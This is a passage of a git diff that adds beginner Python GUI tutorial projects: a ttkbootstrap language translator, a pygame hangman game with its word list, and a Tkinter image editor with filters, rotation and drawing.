self.copy_icon = ttk.PhotoImage(file = 'copy.png').subsample(5, 4) + self.speak_button = ttk.Button(self.master, image = self.speaker_icon, bootstyle='secondary', state=ttk.DISABLED, command = self.speak) + self.canvas.create_window(355, 355, window = self.speak_button) + self.copy_button = ttk.Button(self.master, image = self.copy_icon, bootstyle='secondary', state=ttk.DISABLED, command = self.copy_to_clipboard) + self.canvas.create_window(395, 355, window = self.copy_button) + self.translate_button = ttk.Button(self.master, text = 'Translate', width = 20, bootstyle = 'primary', command = self.translate) + self.canvas.create_window(300, 400, window = self.translate_button) + + def translate(self): + try: + # getting source language from first combobox via get() + self.source_language = self.from_language.get() + # getting destination language from first combobox via get() + self.destination_language = self.to_language.get() + # getting every content fronm the first scrolledtext + self.text = self.from_text.get(1.0, ttk.END) + # translating the language + self.translation = translator.translate(self.text, src=self.source_language, dest=self.destination_language) + # clearing the second scrolledtext + self.to_text.delete(1.0, ttk.END) + # inserting translation output in the second scroledtext + self.to_text.insert(ttk.END, self.translation.text) + # activating the speak_button + self.speak_button.configure(state = ttk.ACTIVE) + # activating the copy_button + self.copy_button.configure(state = ttk.ACTIVE) + # handle TypeError using except + except TypeError as e: + showerror(title='Invalid Input', message='Make sure you have entered valid input!') + # handle connection errors + except Exception as e: + showerror(title='Connection Error', message='Make sure you have internet connection!') + + def speak(self): + # getting every content from the second scrolledtext + self.text = self.to_text.get(1.0, ttk.END) + # gets the speaking rate + rate = engine.getProperty('rate') + # setting the speaking rate + engine.setProperty('rate', 125) + # getting the available voices + voices = engine.getProperty('voices') + # setting the second voice, the female voice + engine.setProperty('voice', voices[1].id) + # saying the translated text + engine.say(self.text) + # running the speech + engine.runAndWait() + + def copy_to_clipboard(self): + # this will create a toast notification object + toast = ToastNotification( + title='Clip Board', + message='Text has been copied to clip board!', + duration=3000, + ) + # this will show the notification + toast.show_toast() + # getting all the content from the second scrolledtext + self.text = self.to_text.get(1.0, ttk.END) + # copy to clip board + pyperclip.copy(self.text) + + + +root = ttk.Window(themename="cosmo") +application = LanguageTranslator(root) +root.mainloop() + diff --git a/gui-programming/gui-language-translator/icon.png b/gui-programming/gui-language-translator/icon.png new file mode 100644 index 00000000..b96f71a1 Binary files /dev/null and b/gui-programming/gui-language-translator/icon.png differ diff --git a/gui-programming/gui-language-translator/img001.webp b/gui-programming/gui-language-translator/img001.webp new file mode 100644 index 00000000..3cca4ed5 Binary files /dev/null and b/gui-programming/gui-language-translator/img001.webp differ diff --git a/gui-programming/gui-language-translator/logo.png b/gui-programming/gui-language-translator/logo.png new file mode 100644 index 00000000..2b54618b Binary files /dev/null and b/gui-programming/gui-language-translator/logo.png differ diff --git a/gui-programming/gui-language-translator/requirements.txt b/gui-programming/gui-language-translator/requirements.txt new file mode 100644 index 00000000..7fcd330c --- /dev/null +++ b/gui-programming/gui-language-translator/requirements.txt @@ -0,0 +1,4 @@ +ttkbootstrap +googletrans==3.1.0a0 +pyttsx3 +pyperclip \ No newline at end of file diff --git a/gui-programming/gui-language-translator/speaker.png b/gui-programming/gui-language-translator/speaker.png new file mode 100644 index 00000000..c7de8f94 Binary files /dev/null and b/gui-programming/gui-language-translator/speaker.png differ diff --git a/gui-programming/hangman-game-gui/README.md b/gui-programming/hangman-game-gui/README.md new file mode 100644 index 00000000..008b7f46 --- /dev/null +++ b/gui-programming/hangman-game-gui/README.md @@ -0,0 +1 @@ +# [How to Create a GUI Hangman Game using PyGame in Python](https://www.thepythoncode.com/article/hangman-gui-game-with-pygame-in-python) \ No newline at end of file diff --git a/gui-programming/hangman-game-gui/hangman.py b/gui-programming/hangman-game-gui/hangman.py new file mode 100644 index 00000000..1763c3bd --- /dev/null +++ b/gui-programming/hangman-game-gui/hangman.py @@ -0,0 +1,137 @@ +import pygame +from pygame.locals import * +import random +from string import ascii_letters + +pygame.init() +pygame.font.init() + +screen = pygame.display.set_mode((400, 500)) +pygame.display.set_caption("Hangman") + +class Hangman(): + def __init__(self): + with open("./words.txt", "r") as file: + # picks secret word + words = file.read().split("\n") + self.secret_word = random.choice(words) + # passing secret word's length for making letter blanks + self.guessed_word = "*" * len(self.secret_word) + self.wrong_guesses = [] + self.wrong_guess_count = 0 + self.taking_guess = True + self.running = True + + self.background_color = (155, 120, 70) + self.gallow_color = (0,0,0) + self.body_color = (255,253,175) + + self.font = pygame.font.SysFont("Courier New", 20) + self.FPS = pygame.time.Clock() + + + # draws the gallow + def _gallow(self): + stand = pygame.draw.rect(screen, self.gallow_color, pygame.Rect(75, 280, 120, 10)) + body = pygame.draw.rect(screen, self.gallow_color, pygame.Rect(128, 40, 10, 240)) + hanger = pygame.draw.rect(screen, self.gallow_color, pygame.Rect(128, 40, 80, 10)) + rope = pygame.draw.rect(screen, self.gallow_color, pygame.Rect(205, 40,10, 30)) + + + # draw man's body parts for every wrong guess + def _man_pieces(self): + if self.wrong_guess_count == 1: + head = pygame.draw.circle(screen, self.body_color, [210, 85], 20, 0) + elif self.wrong_guess_count == 2: + body = pygame.draw.rect(screen, self.body_color, pygame.Rect(206, 105, 8, 45)) + elif self.wrong_guess_count == 3: + r_arm = pygame.draw.line(screen, self.body_color, [183, 149], [200, 107], 6) + elif self.wrong_guess_count == 4: + l_arm = pygame.draw.line(screen, self.body_color, [231, 149], [218, 107], 6), + elif self.wrong_guess_count == 5: + r_leg = pygame.draw.line(screen, self.body_color, [189, 198], [208, 148], 6), + elif self.wrong_guess_count == 6: + l_leg = pygame.draw.line(screen, self.body_color, [224, 198], [210, 148], 6) + + + def _right_guess(self, guess_letter): + index_positions = [index for index, item in enumerate(self.secret_word) if item == guess_letter] + for i in index_positions: + self.guessed_word = self.guessed_word[0:i] + guess_letter + self.guessed_word[i+1:] + # stacks a layer of color on guessed word to hide multiple guessed_word stack + screen.fill(pygame.Color(self.background_color), (10, 370, 390, 20)) + + + def _wrong_guess(self, guess_letter): + self.wrong_guesses.append(guess_letter) + self.wrong_guess_count += 1 + self._man_pieces() + + + def _guess_taker(self, guess_letter): + if guess_letter in ascii_letters: + if guess_letter in self.secret_word and guess_letter not in self.guessed_word: + self._right_guess(guess_letter) + elif guess_letter not in self.secret_word and guess_letter not in self.wrong_guesses: + self._wrong_guess(guess_letter) + + + def _message(self): + # win situation + if self.guessed_word == self.secret_word: + self.taking_guess = False + screen.fill(pygame.Color(0,0,79), (40, 218, 320, 30)) + message = self.font.render("YOU WIN!!", True, (255,235,0)) + screen.blit(message,(152,224)) + + # lose situation + elif self.wrong_guess_count == 6: + self.taking_guess = False + screen.fill(pygame.Color("grey"), (40, 218, 320, 30)) + message = self.font.render("GAME OVER YOU LOSE!!", True, (150,0,10)) + screen.blit(message,(78,224)) + # shows the secret word if the player lose + word = self.font.render(f"secret word: {self.secret_word}", True, (255,255,255)) + screen.blit(word,(10,300)) + + # removes the instruction message if not taking guesses anymore + if not self.taking_guess: + screen.fill(pygame.Color(self.background_color), (35, 460, 390, 20)) + + + def main(self): + # game's main components (no need to update) + screen.fill(self.background_color) + self._gallow() + instructions = self.font.render('Press any key to take Guess', True, (9,255,78)) + screen.blit(instructions,(35,460)) + + while self.running: + # shows the guessed word in the game window + guessed_word = self.font.render(f"guessed word: {self.guessed_word}", True, (0,0,138)) + screen.blit(guessed_word,(10,370)) + # shows the wrong guesses in the game window + wrong_guesses = self.font.render(f"wrong guesses: {' '.join(map(str, self.wrong_guesses))}", True, (125,0,0)) + screen.blit(wrong_guesses,(10,420)) + + # checking game state + self._message() + + for self.event in pygame.event.get(): + if self.event.type == pygame.QUIT: + self.running = False + + # manages keys pressed + elif self.event.type == pygame.KEYDOWN: + if self.taking_guess: + self._guess_taker(self.event.unicode) + + pygame.display.flip() + self.FPS.tick(60) + + pygame.quit() + + +if __name__ =="__main__": + h = Hangman() + h.main() diff --git a/gui-programming/hangman-game-gui/words.txt b/gui-programming/hangman-game-gui/words.txt new file mode 100644 index 00000000..52587ee4 --- /dev/null +++ b/gui-programming/hangman-game-gui/words.txt @@ -0,0 +1,2095 @@ +able +about +abruptly +absurd +abyss +account +acid +across +act +addition +adjustment +advertisement +affix +after +again +against +agreement +air +all +almost +among +amount +amusement +and +android +angle +angry +animal +answer +ant +any +apparatus +apple +approval +arch +argument +arm +army +art +askew +attack +attempt +attention +attraction +authority +automatic +avenue +awake +awkward +axiom +azure +baby +back +bad +bag +bagpipes +balance +ball +band +bandwagon +banjo +base +basin +basket +bath +bayou +beautiful +because +bed +bee +beekeeper +before +behaviour +belief +bell +bent +bernhard +berry +between +bikini +bird +birth +bit +bite +bitter +black +blade +blitz +blizzard +blood +blow +blue +board +boat +body +boggle +boiling +bone +book +bookworm +boot +bottle +box +boxcar +boxful +boy +brain +brake +branch +brass +bread +breath +breytenbach +brick +bridge +bright +broken +brother +brown +brush +buckaroo +bucket +buffalo +buffoon +building +bulb +burn +burst +business +but +butter +button +buxom +buzzard +buzzing +buzzwords +cake +caliph +camera +canvas +card +care +carriage +cart +cat +cause +certain +chain +chalk +chance +change +cheap +cheese +chemical +chest +chief +chin +church +circle +clean +clear +clock +cloth +cloud +coal +coat +cobweb +cockiness +cold +collar +colour +comb +come +comfort +committee +common +company +comparison +competition +complete +complex +condition +connection +conscious +control +cook +copper +copy +cord +cork +cotton +cough +country +cover +cow +crack +credit +crime +croquet +cruel +crush +cry +crypt +cup +cup +curacao +current +curtain +curve +cushion +cycle +daiquiri +damage +danger +dark +daughter +day +dead +dear +death +debt +decision +deep +degree +delicate +dependent +design +desire +destruction +detail +development +different +digestion +direction +dirndl +dirty +disavow +discovery +discussion +disease +disgust +distance +distribution +division +dizzying +dog +door +doubt +down +drain +drawer +dress +drink +driving +drop +dry +duplex +dust +dwarves +ear +early +earth +east +edge +education +effect +egg +elastic +electric +embezzle +end +engine +enough +equal +equip +error +espionage +euouae +even +event +ever +every +example +exchange +existence +exodus +expansion +experience +expert +eye +face +fact +faking +fall +false +family +far +farm +fat +father +fear +feather +feeble +feeling +female +fertile +fiction +field +fight +finger +fire +first +fish +fishhook +fixable +fixed +fjord +flag +flame +flapjack +flat +flight +floor +flopping +flower +fluffiness +fly +flyby +fold +food +foolish +foot +for +force +fork +form +forward +fowl +foxglove +frame +frazzled +free +frequent +friend +frizzled +from +front +fruit +fuchsia +full +funny +future +gabby +galaxy +galvanize +garden +gazebo +general +get +giaour +girl +give +gizmo +glass +glove +glowworm +glyph +gnarly +gnostic +goat +gold +good +gossip +government +grain +grass +great +green +grey +grip +grogginess +group +growth +guide +gun +haiku +hair +hammer +hand +hanging +haphazard +happy +harbour +hard +harmony +hat +hate +have +head +healthy +hear +hearing +heart +heat +help +high +history +hole +hollow +hook +hope +horn +horse +hospital +hour +house +how +humour +hyphen +iatrogenic +ice +icebox +idea +ill +important +impulse +increase +industry +injury +ink +insect +instrument +insurance +interest +invention +iron +island +ivory +ivy +jackpot +jaundice +jawbreaker +jaywalk +jazziest +jazzy +jelly +jelly +jewel +jigsaw +jinx +jiujitsu +jockey +jogging +join +joking +journey +jovial +joyful +judge +juicy +jukebox +jumbo +jump +kayak +kazoo +keep +kettle +key +keyhole +khaki +kick +kilobyte +kind +kiosk +kiss +kitsch +kiwifruit +klutz +knapsack +knee +knife +knot +knowledge +land +language +larynx +last +late +laugh +law +lead +leaf +learning +leather +left +leg +lengths +let +letter +level +library +lift +light +like +limit +line +linen +lip +liquid +list +little +living +lock +long +look +loose +loss +loud +love +low +lucky +luxury +lymph +machine +make +male +man +manager +map +mark +market +marquis +married +mass +match +material +matrix +may +meal +measure +meat +medical +meeting +megahertz +memory +metal +microwave +middle +military +milk +mind +mine +minute +mist +mixed +mnemonic +money +monkey +month +moon +morning +mother +motion +mountain +mouth +move +much +muscle +music +mystify +nail +name +naphtha +narrow +nation +natural +near +necessary +neck +need +needle +nerve +net +new +news +night +nightclub +noise +normal +north +nose +not +note +now +nowadays +number +numbskull +nut +nymph +observation +off +offer +office +oil +old +only +onyx +open +operation +opinion +opposite +orange +order +organization +ornament +other +out +ovary +oven +over +owner +oxidize +oxygen +page +pain +paint +pajama +paper +parallel +parcel +part +past +paste +payment +peace +peekaboo +pen +pencil +person +phlegm +physical +picture +pig +pin +pipe +pixel +pizazz +place +plane +plant +plate +play +please +pleasure +plough +pneumonia +pocket +point +poison +polish +political +polka +poor +porter +position +possible +pot +potato +powder +power +present +price +print +prison +private +probable +process +produce +profit +property +prose +protest +pshaw +psyche +public +pull +pump +punishment +puppy +purpose +push +put +puzzling +quality +quartz +question +queue +quick +quiet +quips +quite +quixotic +quiz +quizzes +quorum +rail +rain +range +rat +rate +ray +razzmatazz +reaction +reading +ready +reason +receipt +record +red +regret +regular +relation +religion +representative +request +respect +responsible +rest +reward +rhubarb +rhythm +rhythm +rice +rickshaw +right +ring +river +road +rod +roll +roof +room +root +rough +round +rub +rule +run +sad +safe +sail +salt +same +sand +say +scale +schnapps +school +science +scissors +scratch +screw +sea +seat +second +secret +secretary +see +seed +seem +selection +self +send +sense +separate +serious +servant +sex +shade +shake +shame +sharp +sheep +shelf +ship +shirt +shiv +shock +shoe +short +shut +side +sign +silk +silver +simple +sister +size +skin +skirt +sky +sleep +slip +slope +slow +small +smash +smell +smile +smoke +smooth +snake +snazzy +sneeze +snow +soap +society +sock +soft +solid +some +son +song +sort +sound +soup +south +space +spade +special +sphinx +sponge +spoon +spring +spritz +square +squawk +staff +stage +stamp +star +start +statement +station +steam +steel +stem +step +stick +sticky +stiff +still +stitch +stocking +stomach +stone +stop +store +story +straight +strange +street +strength +strengths +stretch +stretch +strong +stronghold +structure +stymied +substance +subway +such +sudden +sugar +suggestion +summer +sun +support +surprise +sweet +swim +swivel +syndrome +system +table +tail +take +talk +tall +taste +tax +teaching +tendency +test +than +that +the +then +theory +there +thick +thin +thing +this +thought +thread +thriftless +throat +through +through +thumb +thumbscrew +thunder +ticket +tight +till +time +tin +tired +toe +together +tomorrow +tongue +tooth +top +topaz +touch +town +trade +train +transcript +transgress +transplant +transport +tray +tree +trick +triphthong +trouble +trousers +true +turn +twelfth +twelfths +twist +umbrella +under +unit +unknown +unworthy +unzip +uptown +use +value +vaporize +verse +very +vessel +view +violent +vixen +vodka +voice +voodoo +vortex +voyeurism +waiting +walk +walkway +wall +waltz +war +warm +wash +waste +watch +water +wave +wave +wavy +wax +waxy +way +weather +week +weight +well +wellspring +west +wet +wheel +wheezy +when +where +while +whip +whiskey +whistle +white +whizzing +who +whomever +why +wide +will +wimpy +wind +window +wine +wing +winter +wire +wise +witchcraft +with +wizard +woman +wood +wool +woozy +word +work +worm +wound +wristwatch +writing +wrong +wyvern +xylophone +yachtsman +year +yellow +yes +yesterday +yippee +yoked +you +young +youthful +yummy +zephyr +zigzag +zigzagging +zilch +zipper +zodiac +zombieable +about +abruptly +absurd +abyss +account +acid +across +act +addition +adjustment +advertisement +affix +after +again +against +agreement +air +all +almost +among +amount +amusement +and +android +angle +angry +animal +answer +ant +any +apparatus +apple +approval +arch +argument +arm +army +art +askew +attack +attempt +attention +attraction +authority +automatic +avenue +awake +awkward +axiom +azure +baby +back +bad +bag +bagpipes +balance +ball +band +bandwagon +banjo +base +basin +basket +bath +bayou +beautiful +because +bed +bee +beekeeper +before +behaviour +belief +bell +bent +bernhard +berry +between +bikini +bird +birth +bit +bite +bitter +black +blade +blitz +blizzard +blood +blow +blue +board +boat +body +boggle +boiling +bone +book +bookworm +boot +bottle +box +boxcar +boxful +boy +brain +brake +branch +brass +bread +breath +breytenbach +brick +bridge +bright +broken +brother +brown +brush +buckaroo +bucket +buffalo +buffoon +building +bulb +burn +burst +business +but +butter +button +buxom +buzzard +buzzing +buzzwords +cake +caliph +camera +canvas +card +care +carriage +cart +cat +cause +certain +chain +chalk +chance +change +cheap +cheese +chemical +chest +chief +chin +church +circle +clean +clear +clock +cloth +cloud +coal +coat +cobweb +cockiness +cold +collar +colour +comb +come +comfort +committee +common +company +comparison +competition +complete +complex +condition +connection +conscious +control +cook +copper +copy +cord +cork +cotton +cough +country +cover +cow +crack +credit +crime +croquet +cruel +crush +cry +crypt +cup +cup +curacao +current +curtain +curve +cushion +cycle +daiquiri +damage +danger +dark +daughter +day +dead +dear +death +debt +decision +deep +degree +delicate +dependent +design +desire +destruction +detail +development +different +digestion +direction +dirndl +dirty +disavow +discovery +discussion +disease +disgust +distance +distribution +division +dizzying +dog +door +doubt +down +drain +drawer +dress +drink +driving +drop +dry +duplex +dust +dwarves +ear +early +earth +east +edge +education +effect +egg +elastic +electric +embezzle +end +engine +enough +equal +equip +error +espionage +euouae +even +event +ever +every +example +exchange +existence +exodus +expansion +experience +expert +eye +face +fact +faking +fall +false +family +far +farm +fat +father +fear +feather +feeble +feeling +female +fertile +fiction +field +fight +finger +fire +first +fish +fishhook +fixable +fixed +fjord +flag +flame +flapjack +flat +flight +floor +flopping +flower +fluffiness +fly +flyby +fold +food +foolish +foot +for +force +fork +form +forward +fowl +foxglove +frame +frazzled +free +frequent +friend +frizzled +from +front +fruit +fuchsia +full +funny +future +gabby +galaxy +galvanize +garden +gazebo +general +get +giaour +girl +give +gizmo +glass +glove +glowworm +glyph +gnarly +gnostic +goat +gold +good +gossip +government +grain +grass +great +green +grey +grip +grogginess +group +growth +guide +gun +haiku +hair +hammer +hand +hanging +haphazard +happy +harbour +hard +harmony +hat +hate +have +head +healthy +hear +hearing +heart +heat +help +high +history +hole +hollow +hook +hope +horn +horse +hospital +hour +house +how +humour +hyphen +iatrogenic +ice +icebox +idea +ill +important +impulse +increase +industry +injury +ink +insect +instrument +insurance +interest +invention +iron +island +ivory +ivy +jackpot +jaundice +jawbreaker +jaywalk +jazziest +jazzy +jelly +jelly +jewel +jigsaw +jinx +jiujitsu +jockey +jogging +join +joking +journey +jovial +joyful +judge +juicy +jukebox +jumbo +jump +kayak +kazoo +keep +kettle +key +keyhole +khaki +kick +kilobyte +kind +kiosk +kiss +kitsch +kiwifruit +klutz +knapsack +knee +knife +knot +knowledge +land +language +larynx +last +late +laugh +law +lead +leaf +learning +leather +left +leg +lengths +let +letter +level +library +lift +light +like +limit +line +linen +lip +liquid +list +little +living +lock +long +look +loose +loss +loud +love +low +lucky +luxury +lymph +machine +make +male +man +manager +map +mark +market +marquis +married +mass +match +material +matrix +may +meal +measure +meat +medical +meeting +megahertz +memory +metal +microwave +middle +military +milk +mind +mine +minute +mist +mixed +mnemonic +money +monkey +month +moon +morning +mother +motion +mountain +mouth +move +much +muscle +music +mystify +nail +name +naphtha +narrow +nation +natural +near +necessary +neck +need +needle +nerve +net +new +news +night +nightclub +noise +normal +north +nose +not +note +now +nowadays +number +numbskull +nut +nymph +observation +off +offer +office +oil +old +only +onyx +open +operation +opinion +opposite +orange +order +organization +ornament +other +out +ovary +oven +over +owner +oxidize +oxygen +page +pain +paint +pajama +paper +parallel +parcel +part +past +paste +payment +peace +peekaboo +pen +pencil +person +phlegm +physical +picture +pig +pin +pipe +pixel +pizazz +place +plane +plant +plate +play +please +pleasure +plough +pneumonia +pocket +point +poison +polish +political +polka +poor +porter +position +possible +pot +potato +powder +power +present +price +print +prison +private +probable +process +produce +profit +property +prose +protest +pshaw +psyche +public +pull +pump +punishment +puppy +purpose +push +put +puzzling +quality +quartz +question +queue +quick +quiet +quips +quite +quixotic +quiz +quizzes +quorum +rail +rain +range +rat +rate +ray +razzmatazz +reaction +reading +ready +reason +receipt +record +red +regret +regular +relation +religion +representative +request +respect +responsible +rest +reward +rhubarb +rhythm +rhythm +rice +rickshaw +right +ring +river +road +rod +roll +roof +room +root +rough +round +rub +rule +run +sad +safe +sail +salt +same +sand +say +scale +schnapps +school +science +scissors +scratch +screw +sea +seat +second +secret +secretary +see +seed +seem +selection +self +send +sense +separate +serious +servant +sex +shade +shake +shame +sharp +sheep +shelf +ship +shirt +shiv +shock +shoe +short +shut +side +sign +silk +silver +simple +sister +size +skin +skirt +sky +sleep +slip +slope +slow +small +smash +smell +smile +smoke +smooth +snake +snazzy +sneeze +snow +soap +society +sock +soft +solid +some +son +song +sort +sound +soup +south +space +spade +special +sphinx +sponge +spoon +spring +spritz +square +squawk +staff +stage +stamp +star +start +statement +station +steam +steel +stem +step +stick +sticky +stiff +still +stitch +stocking +stomach +stone +stop +store +story +straight +strange +street +strength +strengths +stretch +stretch +strong +stronghold +structure +stymied +substance +subway +such +sudden +sugar +suggestion +summer +sun +support +surprise +sweet +swim +swivel +syndrome +system +table +tail +take +talk +tall +taste +tax +teaching +tendency +test +than +that +the +then +theory +there +thick +thin +thing +this +thought +thread +thriftless +throat +through +through +thumb +thumbscrew +thunder +ticket +tight +till +time +tin +tired +toe +together +tomorrow +tongue +tooth +top +topaz +touch +town +trade +train +transcript +transgress +transplant +transport +tray +tree +trick +triphthong +trouble +trousers +true +turn +twelfth +twelfths +twist +umbrella +under +unit +unknown +unworthy +unzip +uptown +use +value +vaporize +verse +very +vessel +view +violent +vixen +vodka +voice +voodoo +vortex +voyeurism +waiting +walk +walkway +wall +waltz +war +warm +wash +waste +watch +water +wave +wave +wavy +wax +waxy +way +weather +week +weight +well +wellspring +west +wet +wheel +wheezy +when +where +while +whip +whiskey +whistle +white +whizzing +who +whomever +why +wide +will +wimpy +wind +window +wine +wing +winter +wire +wise +witchcraft +with +wizard +woman +wood +wool +woozy +word +work +worm +wound +wristwatch +writing +wrong +wyvern +xylophone +yachtsman +year +yellow +yes +yesterday +yippee +yoked +you +young +youthful +yummy +zephyr +zigzag +zigzagging +zilch +zipper +zodiac +zombie \ No newline at end of file diff --git a/gui-programming/image-editor/README.md b/gui-programming/image-editor/README.md new file mode 100644 index 00000000..235735b5 --- /dev/null +++ b/gui-programming/image-editor/README.md @@ -0,0 +1 @@ +# [How to Make an Image Editor in Python](https://www.thepythoncode.com/article/make-an-image-editor-in-tkinter-python) \ No newline at end of file diff --git a/gui-programming/image-editor/add.png b/gui-programming/image-editor/add.png new file mode 100644 index 00000000..b7694b33 Binary files /dev/null and b/gui-programming/image-editor/add.png differ diff --git a/gui-programming/image-editor/color.png b/gui-programming/image-editor/color.png new file mode 100644 index 00000000..7cfbc734 Binary files /dev/null and b/gui-programming/image-editor/color.png differ diff --git a/gui-programming/image-editor/erase.png b/gui-programming/image-editor/erase.png new file mode 100644 index 00000000..c8bb1d68 Binary files /dev/null and b/gui-programming/image-editor/erase.png differ diff --git a/gui-programming/image-editor/flip.png b/gui-programming/image-editor/flip.png new file mode 100644 index 00000000..fc761f82 Binary files /dev/null and b/gui-programming/image-editor/flip.png differ diff --git a/gui-programming/image-editor/gui-image-editor.py b/gui-programming/image-editor/gui-image-editor.py new file mode 100644 index 00000000..b0ce2bba --- /dev/null +++ b/gui-programming/image-editor/gui-image-editor.py @@ -0,0 +1,335 @@ +import ttkbootstrap as ttk +from tkinter import filedialog +from tkinter.messagebox import showerror, askyesno +from tkinter import colorchooser +from PIL import Image, ImageOps, ImageTk, ImageFilter, ImageGrab + + +# defining global variables +WIDTH = 750 +HEIGHT = 560 +file_path = "" +pen_size = 3 +pen_color = "black" + + + +# function to open the image file +def open_image(): + global file_path + file_path = filedialog.askopenfilename(title="Open Image File", filetypes=[("Image Files", "*.jpg;*.jpeg;*.png;*.gif;*.bmp")]) + if file_path: + global image, photo_image + image = Image.open(file_path) + new_width = int((WIDTH / 2)) + image = image.resize((new_width, HEIGHT), Image.LANCZOS) + + image = ImageTk.PhotoImage(image) + canvas.create_image(0, 0, anchor="nw", image=image) + + +# a global variable for checking the flip state of the image +is_flipped = False + +def flip_image(): + try: + global image, photo_image, is_flipped + if not is_flipped: + # open the image and flip it left and right + image = Image.open(file_path).transpose(Image.FLIP_LEFT_RIGHT) + is_flipped = True + else: + # reset the image to its original state + image = Image.open(file_path) + is_flipped = False + # resize the image to fit the canvas + new_width = int((WIDTH / 2)) + image = image.resize((new_width, HEIGHT), Image.LANCZOS) + # convert the PIL image to a Tkinter PhotoImage and display it on the canvas + photo_image = ImageTk.PhotoImage(image) + canvas.create_image(0, 0, anchor="nw", image=photo_image) + + except: + showerror(title='Flip Image Error', message='Please select an image to flip!') + + +# global variable for tracking rotation angle +rotation_angle = 0 + +# function for rotating the image +def rotate_image(): + try: + global image, photo_image, rotation_angle + # open the image and rotate it + + image = Image.open(file_path) + new_width = int((WIDTH / 2)) + image = image.resize((new_width, HEIGHT), Image.LANCZOS) + rotated_image = image.rotate(rotation_angle + 90) + rotation_angle += 90 + # reset image if angle is a multiple of 360 degrees + if rotation_angle % 360 == 0: + rotation_angle = 0 + image = Image.open(file_path) + image = image.resize((new_width, HEIGHT), Image.LANCZOS) + rotated_image = image + # convert the PIL image to a Tkinter PhotoImage and display it on the canvas + photo_image = ImageTk.PhotoImage(rotated_image) + canvas.create_image(0, 0, anchor="nw", image=photo_image) + + except: + showerror(title='Rotate Image Error', message='Please select an image to rotate!') + + + + +# function for applying filters to the opened image file +def apply_filter(filter): + global image, photo_image + try: + # check if the image has been flipped or rotated + if is_flipped: + # flip the original image left and right + flipped_image = Image.open(file_path).transpose(Image.FLIP_LEFT_RIGHT) + # rotate the flipped image + rotated_image = flipped_image.rotate(rotation_angle) + # apply the filter to the rotated image + if filter == "Black and White": + rotated_image = ImageOps.grayscale(rotated_image) + elif filter == "Blur": + rotated_image = rotated_image.filter(ImageFilter.BLUR) + elif filter == "Contour": + rotated_image = rotated_image.filter(ImageFilter.CONTOUR) + elif filter == "Detail": + rotated_image = rotated_image.filter(ImageFilter.DETAIL) + elif filter == "Emboss": + rotated_image = rotated_image.filter(ImageFilter.EMBOSS) + elif filter == "Edge Enhance": + rotated_image = rotated_image.filter(ImageFilter.EDGE_ENHANCE) + elif filter == "Sharpen": + rotated_image = rotated_image.filter(ImageFilter.SHARPEN) + elif filter == "Smooth": + rotated_image = rotated_image.filter(ImageFilter.SMOOTH) + else: + rotated_image = Image.open(file_path).transpose(Image.FLIP_LEFT_RIGHT).rotate(rotation_angle) + + elif rotation_angle != 0: + # rotate the original image + rotated_image = Image.open(file_path).rotate(rotation_angle) + # apply the filter to the rotated image + if filter == "Black and White": + rotated_image = ImageOps.grayscale(rotated_image) + + elif filter == "Blur": + rotated_image = rotated_image.filter(ImageFilter.BLUR) + + elif filter == "Contour": + rotated_image = rotated_image.filter(ImageFilter.CONTOUR) + + elif filter == "Detail": + rotated_image = rotated_image.filter(ImageFilter.DETAIL) + + elif filter == "Emboss": + rotated_image = rotated_image.filter(ImageFilter.EMBOSS) + + elif filter == "Edge Enhance": + rotated_image = rotated_image.filter(ImageFilter.EDGE_ENHANCE) + + elif filter == "Sharpen": + rotated_image = rotated_image.filter(ImageFilter.SHARPEN) + + elif filter == "Smooth": + rotated_image = rotated_image.filter(ImageFilter.SMOOTH) + + else: + rotated_image = Image.open(file_path).rotate(rotation_angle) + + else: + # apply the filter to the original image + image = Image.open(file_path) + if filter == "Black and White": + image = ImageOps.grayscale(image) + + elif filter == "Blur": + image = image.filter(ImageFilter.BLUR) + + elif filter == "Sharpen": + image = image.filter(ImageFilter.SHARPEN) + + elif filter == "Smooth": + image = image.filter(ImageFilter.SMOOTH) + + elif filter == "Emboss": + image = image.filter(ImageFilter.EMBOSS) + + elif filter == "Detail": + image = image.filter(ImageFilter.DETAIL) + + + elif filter == "Edge Enhance": + image = image.filter(ImageFilter.EDGE_ENHANCE) + + elif filter == "Contour": + image = image.filter(ImageFilter.CONTOUR) + + + rotated_image = image + + # resize the rotated/flipped image to fit the canvas + new_width = int((WIDTH / 2)) + rotated_image = rotated_image.resize((new_width, HEIGHT), Image.LANCZOS) + # convert the PIL image to a Tkinter PhotoImage and display it on the canvas + photo_image = ImageTk.PhotoImage(rotated_image) + canvas.create_image(0, 0, anchor="nw", image=photo_image) + + except: + showerror(title='Error', message='Please select an image first!') + + + + +# function for drawing lines on the opened image +def draw(event): + global file_path + if file_path: + x1, y1 = (event.x - pen_size), (event.y - pen_size) + x2, y2 = (event.x + pen_size), (event.y + pen_size) + canvas.create_oval(x1, y1, x2, y2, fill=pen_color, outline="", width=pen_size, tags="oval") + + +# function for changing the pen color +def change_color(): + global pen_color + pen_color = colorchooser.askcolor(title="Select Pen Color")[1] + + + +# function for erasing lines on the opened image +def erase_lines(): + global file_path + if file_path: + canvas.delete("oval") + + + + +def save_image(): + global file_path, is_flipped, rotation_angle + + if file_path: + # create a new PIL Image object from the canvas + image = ImageGrab.grab(bbox=(canvas.winfo_rootx(), canvas.winfo_rooty(), canvas.winfo_rootx() + canvas.winfo_width(), canvas.winfo_rooty() + canvas.winfo_height())) + + # check if the image has been flipped or rotated + if is_flipped or rotation_angle % 360 != 0: + # Resize and rotate the image + new_width = int((WIDTH / 2)) + image = image.resize((new_width, HEIGHT), Image.LANCZOS) + if is_flipped: + image = image.transpose(Image.FLIP_LEFT_RIGHT) + if rotation_angle % 360 != 0: + image = image.rotate(rotation_angle) + + # update the file path to include the modifications in the file name + file_path = file_path.split(".")[0] + "_mod.jpg" + + # apply any filters to the image before saving + filter = filter_combobox.get() + if filter: + if filter == "Black and White": + image = ImageOps.grayscale(image) + + elif filter == "Blur": + image = image.filter(ImageFilter.BLUR) + + elif filter == "Sharpen": + image = image.filter(ImageFilter.SHARPEN) + + elif filter == "Smooth": + image = image.filter(ImageFilter.SMOOTH) + + elif filter == "Emboss": + image = image.filter(ImageFilter.EMBOSS) + + elif filter == "Detail": + image = image.filter(ImageFilter.DETAIL) + + elif filter == "Edge Enhance": + image = image.filter(ImageFilter.EDGE_ENHANCE) + + elif filter == "Contour": + image = image.filter(ImageFilter.CONTOUR) + + # update the file path to include the filter in the file name + file_path = file_path.split(".")[0] + "_" + filter.lower().replace(" ", "_") + ".jpg" + + # open file dialog to select save location and file type + file_path = filedialog.asksaveasfilename(defaultextension=".jpg") + + if file_path: + if askyesno(title='Save Image', message='Do you want to save this image?'): + # save the image to a file + image.save(file_path) + + + 